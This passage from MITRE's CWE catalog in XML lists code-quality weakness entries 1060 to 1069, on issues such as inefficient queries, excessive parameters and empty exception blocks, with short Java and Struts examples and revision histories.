                  <xhtml:div>public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {<xhtml:div style="margin-left:1em;">
                        <xhtml:br/>
                        <xhtml:i>// private variables for registration form</xhtml:i>
                        <xhtml:br/>private String name;<xhtml:br/>private String email;<xhtml:br/>...<xhtml:br/>
                        <xhtml:br/>public RegistrationForm() {<xhtml:div style="margin-left:1em;">super();</xhtml:div>}<xhtml:br/>
                        <xhtml:br/>public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}<xhtml:br/>
                        <xhtml:br/>
                        <xhtml:i>// getter and setter methods for private variables</xhtml:i>
                        <xhtml:br/>...<xhtml:br/>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The plug-in tag of the Struts configuration XML file includes the name of the validator plug-in to be used and includes a set-property tag to instruct the application to use the file, validator-rules.xml, for default validation rules and the file, validation.XML, for custom validation.</Body_Text>
               <Example_Code Nature="Good" Language="XML">
                  <xhtml:div>&lt;struts-config&gt;<xhtml:div style="margin-left:1em;">
                        <xhtml:br/>&lt;form-beans&gt;<xhtml:div style="margin-left:1em;">&lt;form-bean name="RegistrationForm" type="RegistrationForm"/&gt;</xhtml:div>&lt;/form-beans&gt;<xhtml:br/>
                        <xhtml:br/>...<xhtml:br/>
                        <xhtml:br/>&lt;!-- ========================= Validator plugin ================================= --&gt;<xhtml:br/>&lt;plug-in className="org.apache.struts.validator.ValidatorPlugIn"&gt;<xhtml:div style="margin-left:1em;">&lt;set-property<xhtml:div style="margin-left:1em;">property="pathnames"<xhtml:br/>value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/&gt;</xhtml:div>
                        </xhtml:div>&lt;/plug-in&gt;</xhtml:div>
                     <xhtml:br/>&lt;/struts-config&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Struts: Plug-in Framework Not In Use</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1060" Name="Excessive Number of Inefficient Server-Side Data Accesses" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product performs too many data queries without using efficient data processing functionality such as stored procedures.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly due to computational expense.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p>
	 <xhtml:p>While the interpretation of "too many data queries" may vary for each product or developer, CISQ recommends a default maximum of 5 data queries for an inefficient function/procedure.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-9</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-9"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1061" Name="Insufficient Encapsulation" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not sufficiently hide the internal representation and implementation details of data or methods, which might allow external components or modules to modify data unexpectedly, invoke unexpected functionality, or introduce dependencies that the programmer did not intend.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <References>
            <Reference External_Reference_ID="REF-969"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1062" Name="Parent Class with References to Child Class" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code has a parent class that contains references to a child class, its methods, or its members.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1061" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-14</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-14"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1063" Name="Creation of Class Instance within a Static Code Block" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A static code block creates an instance of a class.</Description>
         <Extended_Description><xhtml:p>This pattern identifies situations where a storable data element or member data element is initialized with a value in a block of code which is declared as static.</xhtml:p>
<xhtml:p>This issue can make the product perform more slowly by performing initialization before it is needed.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1176" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-1</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-1"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1064" Name="Invokable Control Element with Signature Containing an Excessive Number of Parameters" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains a function, subroutine, or method whose signature has an unnecessarily large number of
					parameters/arguments.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p>
	 <xhtml:p>While the interpretation of "large number of parameters." may vary for each product or developer, CISQ recommends a default maximum of 7 parameters/arguments.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-13</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-13"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1065" Name="Runtime Resource Management Control Element in a Component Built to Run on Application Servers" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses deployed components from application servers, but it also uses low-level functions/methods for management of resources, instead of the API provided by the application server.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-5</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-5"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1066" Name="Missing Serialization Control Element" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains a serializable data element that does not
					have an associated serialization method.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably, e.g. by triggering an exception.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p>
	 <xhtml:p>As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-2</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-2"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1067" Name="Excessive Execution of Sequential Searches of Data Resource" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains a data query against an SQL table or view
					that is configured in a way that does not utilize an index and may cause
					sequential searches to be performed.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1176" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-5</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-5"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1068" Name="Inconsistency Between Implementation and Documented Design" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The implementation of the product is not consistent with the
					design as described within the relevant documentation.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
		 <Applicable_Platforms>
		   <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
		   <Technology Class="ICS/OT" Prevalence="Undetermined"/>
		 </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1069" Name="Empty Exception Block" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>An invokable code block contains an exception handling block that does not contain any code, i.e. is empty.</Description>
         <Extended_Description><xhtml:p>When an exception handling block (such as a Catch and Finally block) is used, but that block is empty, this can prevent the product from running reliably.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1071" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>For every exception block add code that handles the specific exception in the way intended by the application.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example, the code catches an ArithmeticException.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class Main {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">public static void main(String[] args) {
                        <xhtml:div style="margin-left:1em;">int a = 1;
                        <xhtml:br/>int b = 0;
                        <xhtml:br/>int c = 0;<xhtml:br/>
                        <xhtml:br/>try {
                           <xhtml:div style="margin-left:1em;">c = a / b;</xhtml:div>
                        <xhtml:br/>} catch(ArithmeticException ae) {
                        <xhtml:br/>}</xhtml:div>
                     <xhtml:br/>}</xhtml:div>
                  <xhtml:br/>}</xhtml:div>
               </Example_Code>
               <Body_Text>Since the exception block is empty, no action is taken.</Body_Text>
               <Body_Text>In the code below the exception has been logged and the bad execution has been handled in the desired way allowing the program to continue in an expected way.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class Main {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">public static void main(String[] args) {
                        <xhtml:div style="margin-left:1em;">int a = 1;
                        <xhtml:br/>int b = 0;
                        <xhtml:br/>int c = 0;<xhtml:br/>
                        <xhtml:br/>try {
                           <xhtml:div style="margin-left:1em;">c = a / b;</xhtml:div>
                        <xhtml:br/>} catch(ArithmeticException ae) {
                           <xhtml:div style="margin-left:1em;">log.error("Divided by zero detected, setting to -1.");
                           <xhtml:br/>c = -1;</xhtml:div>
                        <xhtml:br/>}</xhtml:div>
                     <xhtml:br/>}</xhtml:div>
                  <xhtml:br/>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-1</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-1"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
